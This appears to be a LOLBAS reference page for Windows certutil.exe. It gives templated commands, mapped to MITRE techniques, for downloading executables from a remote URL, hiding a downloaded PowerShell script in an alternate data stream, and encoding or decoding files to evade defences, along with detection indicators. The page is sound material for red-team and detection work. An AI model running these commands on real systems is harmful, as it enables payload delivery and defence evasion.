Certutil.exe · LOLBAS

01 / TRADECRAFT

Command reference

7 examples

Download3

EXAMPLE 01T1105

Download and save an executable to disk in the current folder.

COMMAND

certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}

USE CASE: Download file from Internet
PRIVILEGES: User
OPERATING SYSTEM: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

EXAMPLE 02T1105

Download and save an executable to disk in the current folder when a file path is specified, or `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>` when not.

COMMAND

certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}

USE CASE: Download file from Internet
PRIVILEGES: User
OPERATING SYSTEM: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

EXAMPLE 03T1105

Download and save an executable to `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>`.

COMMAND

certutil.exe -URL {REMOTEURL:.exe}

USE CASE: Download file from Internet
PRIVILEGES: User
OPERATING SYSTEM: Windows 10, Windows 11

Application · GUI

ADS1

EXAMPLE 01T1564.004

Download and save a .ps1 file to an Alternate Data Stream (ADS).

COMMAND

certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt

USE CASE: Download file from Internet and save it in an NTFS Alternate Data Stream
PRIVILEGES: User
OPERATING SYSTEM: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Encode1

EXAMPLE 01T1027.013

Command to encode a file using Base64

COMMAND

certutil -encode {PATH} {PATH:.base64}

USE CASE: Encode files to evade defensive measures
PRIVILEGES: User
OPERATING SYSTEM: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Decode2

EXAMPLE 01T1140

Command to decode a Base64 encoded file.

COMMAND

certutil -decode {PATH:.base64} {PATH}

USE CASE: Decode files to evade defensive measures
PRIVILEGES: User
OPERATING SYSTEM: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

EXAMPLE 02T1140

Command to decode a hexadecimal-encoded file.

COMMAND

certutil -decodehex {PATH:.hex} {PATH}

USE CASE: Decode files to evade defensive measures
PRIVILEGES: User
OPERATING SYSTEM: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

02 / ON DISK

Known paths

C:\Windows\System32\certutil.exe

C:\Windows\SysWOW64\certutil.exe

03 / DEFENSIVE INTELLIGENCE

Detection & indicators

8 resources

Indicators & detection notes

IOC
Certutil.exe creating new files on disk
IOC
Useragent Microsoft-CryptoAPI/10.0
IOC
Useragent CertUtil URL Agent

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Matt Graeber@mattifestation

Moriarty@Moriarty_Meng

egre55@egre55

Lior Adar

Adam@hexacorn

SomeTestLeper@SomeTestLeper